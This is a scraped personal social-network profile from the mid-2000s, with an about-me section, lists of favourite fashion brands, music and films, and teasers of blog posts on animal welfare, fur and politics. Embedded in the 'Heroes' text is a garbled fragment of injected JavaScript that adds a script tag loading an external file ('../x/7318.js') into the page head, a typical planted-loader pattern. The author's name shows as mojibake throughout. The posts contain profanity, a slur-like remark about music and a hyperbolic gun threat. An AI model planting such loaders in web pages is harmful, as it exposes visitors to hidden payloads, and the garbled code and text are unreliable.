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Reign of Тася Кала́шниковa

You're perfect, yes, it's true, but without me, you're only you.

About Me


I'm HUGE on social graces, so don't be rude, don't be nosey and keep your manners in check, please!....White bread is the devil....I love when dogs that have smushed faces sneeze....I'm addicted to Rock & Republic jeans and makeup....The camera does not love me....French bulldog puppies are the cutest things EVER. Don't question it....I'm pretty good at spelling and grammar....Sometimes, I correct grammar and sometimes people don't like it....I hate lima beans and people with stick-figure families on their cars....I feel I need help because my eyes well up everytime I watch The Devil's Rejects....Cockatoos scare the bejeezus out of me since I was attacked by one in 2000....I have an unhealthy addiction to cigarettes and Dior. Just so you know, there's no such thing as a healthy addiction to either....I'm amazing....If I don't know you, don't add me. THIS INCLUDES BANDS. I DON'T CARE ABOUT YOUR GAY MUSIC. There's a reason my friends number is low. Thanks~I'm one of the biggest animal lovers you'll ever meet in your life. If you wear fur, I don't want any part of you. And remember ladies and gentlemen, FURISDEAD.COM.I love my Roller Derby team. Unfortunately, my picture was taken.

My Interests

Loves my animals!! Roller Derby. Beautiful gun-toting men. Showjumping, fashion: Juicy Couture; Rock & Republic jeans (are the best!); Shoes by Dior; Belts by Dior; Dior bags; Joie; Gucci; BCBG; Marc Jacobs; Carolina Herrera; Yves Saint Laurent runway models, makeup, Christian Dior Couture and Ready-to-Wear. Eugenia Volodina, my favorite model of the moment

I'd like to meet:

This lady: and Sam Witwer, Gerard Butler, George Eads <3 If you are any of these three, please contact me. Oh, and anyone with a pool for when it's 105 degrees outside. Oh, and if you have an Irish or Scottish accent.

Music:

The Cult, Duran Duran, Dropkick Murphys, Flogging Molly, Lynard Skynard, The Lordz, The Crashtones, Garbage and the list goes on...

Movies:

Did anyone else cry at the end of "The Devil's Rejects"? Any Director that can make a movie like that, and have you cryng at the end of it, is fucking brilliant. Rob Zombie, you're amazing and you rock. Or maybe it was just the playing of "Free Bird". Or, there's something severely wrong with me. I think it was "Free Bird".
You're the Angry Princess! ...Put some clothes on, psycho.

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Television:

CSI: Vegas; Big Love; Weeds; Californication; The L Word; The Tudors; Survivor; America's Next Top Model; VH1; Style Network; E!

Books:

Devil Wears Prada; Sleepers; Four Seasons; Wiseguy; and much more!

Heroes:

Pam Anderson and Stella McCartney for being some of the biggest anti-fur people I've ever seen...Jack Hanna, Jeff Corwin, and Joan Root, my idols. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);">

My Blog

Even though Im a registered Republican...

I'm really in the middle. (I initially posted this as a bulletin, but thought it was better suited as a blog).WTF is wrong with Sarah Palin?! Why does she hate animals so much?If you know me, you know...
Posted by Reign of "0AO 0;0H=8:>2a on Thu, 25 Sep 2008 11:03:00 PST

Vick flippin infuriates me...Get a load of this!!

In an article titled "Vick Sought Mercy from Judge", we get these little gems: Michael Vick declared "I am not the bad person or beast I've been made out to be" and asked for leniency in a letter to t...
Posted by Reign of "0AO 0;0H=8:>2a on Fri, 14 Dec 2007 09:11:00 PST

Folks, don't be a Borat hater

So, since this movie has done exceptionally well, everyone is coming out of the woodwork to sue Sacha Baron Cohen. I will admit the following groups may find this movie offensive: Jews; Gypsies; ...
Posted by Reign of "0AO 0;0H=8:>2a on Wed, 15 Nov 2006 12:39:00 PST

For those of you who know me as "Carpool"...

Oh, the irony. This is my first traffic violation EVER! Lame.  
Posted by Reign of "0AO 0;0H=8:>2a on Mon, 28 Aug 2006 03:10:00 PST

Things that bother me: Part Deux

It's that time again. It's time for my rants about things that really irritate me. Here we go.   1. Movie Theaters: Folks, when I get raped for $10.00 (for a movie that will get mediocr...
Posted by Reign of "0AO 0;0H=8:>2a on Wed, 28 Jun 2006 10:47:00 PST

FUR IS DEAD, fuckers

Those who know me, know that I'm one of the most hard-core, anti-fur, animal lovers that ever existed. I don't judge people (generally), but if you wear real fur, I automatically hate you right off th...
Posted by Reign of "0AO 0;0H=8:>2a on Tue, 25 Apr 2006 03:00:00 PST

The birthdays of pets

Today, is my dog Nikki's birthday. She turns 7 years old. Every year she gets older, I start to panic and I can't stop thinking about what's going to happen to me when she passes on. Time always flies...
Posted by Reign of "0AO 0;0H=8:>2a on Sat, 11 Feb 2006 04:09:00 PST

The city of LA needed this badly, and they finally got it...

First conviction for animal abuse unitBy Dana Bartholomew, Staff WriterLA Daily NewsA gang member who tied a puppy's tail in a knot, dropped her in a vat of boiling water and repeatedly zapped her wit...
Posted by Reign of "0AO 0;0H=8:>2a on Thu, 12 Jan 2006 09:47:00 PST

Goals for 2006...

I can't sleep, so I'm writing this lame ass shit   Stop spending so much goddamn money on things that are $400 and cost $35 to make;  realize that buying a $1,500 purse is onl...
Posted by Reign of "0AO 0;0H=8:>2a on Sun, 08 Jan 2006 12:19:00 PST

The PitBull problem...

This clip speaks for itself... To all you punk motherfuckers, if I ever see you doing this in real life, I will kill you with my gun that I have not purchased yet. And all your fucking homies, too. Yo...
Posted by Reign of "0AO 0;0H=8:>2a on Thu, 24 Nov 2005 11:56:00 PST